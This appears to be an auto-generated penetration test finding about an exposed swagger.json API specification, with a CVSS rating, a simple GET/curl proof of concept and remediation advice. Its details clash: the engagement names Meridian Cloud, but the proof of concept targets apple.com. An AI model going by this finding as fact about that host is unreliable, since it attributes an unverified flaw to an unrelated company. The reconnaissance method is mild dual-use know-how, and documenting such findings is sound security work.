# Publicly Accessible swagger.json API Documentation on Production Host

**Severity level:** [Low](#)

**Status:** Draft

**Category:** Info Disclosure

**CWE:** CWE-200

**CVSS Score:** 5.3

**CVSS Vector:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

**Severity Justification:** CVSS scores the exposure itself at 5.3 (Medium band, C:L). Severity is set to Low because exposing API documentation is an information disclosure that only facilitates attacks rather than causing direct harm — confidentiality impact is limited to API structure and metadata, not actual sensitive data. Severity should be revisited to Medium or High if the specification reveals internal-only endpoints or the exposed API is later found to have exploitable flaws.

---

## Description

An unauthenticated API documentation file (swagger.json) is publicly accessible and discloses the full structure of the API, including all available endpoints, HTTP methods, parameter names and types, request/response schemas, and internal naming conventions. The file is served without authentication and is discoverable via common documentation paths (/swagger.json, /v1/swagger.json, /api-docs). Enumeration of these paths confirmed the OpenAPI specification is retrievable by any external party. This provides attackers with a complete API blueprint, significantly reducing reconnaissance effort and enabling targeted testing of otherwise unlisted or undocumented endpoints.

## Impact

Exposure of the OpenAPI specification materially aids attackers by:

- Revealing the complete API attack surface, including administrative, internal, or versioned endpoints not linked from public pages
- Providing exact parameter names, data types, and validation constraints, accelerating identification of injection flaws, IDOR, and mass-assignment vulnerabilities
- Exposing internal naming conventions, model fields, and infrastructure details that may leak design weaknesses (e.g. debug endpoints, deprecated but active API versions)
- Enabling automated scanning tools to consume the spec and enumerate the API efficiently

## Proof of Concept

1. Request the documentation file without any authentication:

```
1 GET /swagger.json HTTP/1.1
2 Host: apple.com
```

2. The server responds with the full OpenAPI specification:

```
1 HTTP/1.1 200 OK
2 Content-Type: application/json
3
4 {
5   "swagger": "2.0",
6   "info": { "title": "API", "version": "..."},
7   "paths": {
8     "/users": { "get": { ... }, "post": { ... } },
9     ...
10  }
11 }
```

3. No authentication, session cookie, or API key is required. The file can also be fetched directly via curl <https://apple.com/swagger.json>.

Expected behavior: API documentation should not be publicly retrievable from production (404 or require authentication).

Actual behavior: Full API specification is served to unauthenticated users.

## Recommendation

- Remove swagger.json (and any other OpenAPI/Swagger artifacts such as /swagger-ui, /api-docs, /openapi.json, /v1/swagger.json) from production servers; serve API documentation only in staging/development environments.
- If documentation must be hosted publicly, place it behind authentication and authorization appropriate to the audience.
- Add a deny rule for common documentation paths in the web server / WAF configuration, e.g. location blocks in nginx or route filters at the edge.
- Review the specification for information that itself should not be disclosed (internal hostnames, sandbox URLs, debug endpoints) before any approved publication.
- Reference: OWASP Testing Guide (WSTG-INFO-05, "Enumerate Applications on Webserver" / information disclosure) and OWASP ASVS V14.3 (Unintended information disclosure).

# Methodology & Disclaimer

---

## Severity Methodology

Severity ratings in this report are based on assessed business impact, not solely on CVSS scores. CVSS 3.1 base scores and vectors are provided as a technical reference, but the final severity reflects the realistic risk to the organization given the application context, data sensitivity, and potential consequences of exploitation. Where the assigned severity differs from the CVSS-implied band, a justification is provided in the individual finding.

## Disclaimer

This penetration test report is provided on an "as is" basis. The findings and recommendations contained herein are based on the information available and the scope agreed upon at the time of testing. The assessment was limited to the systems, applications, and network segments identified in the scope section.

While every effort has been made to identify vulnerabilities within the defined scope, this report does not guarantee that all vulnerabilities have been discovered. New vulnerabilities may emerge after the testing period due to changes in the environment, newly disclosed threats, or other factors beyond the control of the testing team.

The information in this report is confidential and intended solely for the authorized recipients. Unauthorized distribution, copying, or disclosure of this report or its contents is strictly prohibited. The pentesters and the organization conducting the test accept no liability for any damage or loss arising from the use or misuse of the information contained in this report.

Remediation of identified vulnerabilities should be prioritized based on the severity ratings provided. It is recommended that a retest be conducted after remediation efforts to verify that vulnerabilities have been effectively addressed. Organizations should also consider ongoing security assessments as part of their overall security program.

The severity ratings assigned to findings reflect the assessed risk at the time of testing and are based on factors including exploitability, potential impact, and the sensitivity of affected assets. These ratings are intended as guidance and should be evaluated in the context of the organization's specific risk tolerance and business requirements.

## Report Metadata

Engagement: Meridian Cloud Q3 2026 External Pentest

Organization: Y Combinator

Company: Meridian Cloud, Inc.

Total findings: 16

Testing start: June 15, 2026

Testing end: June 30, 2026

Report generated: 2026-10-16T12:42:41.156Z

Engine: OpenHack Pentesting Platform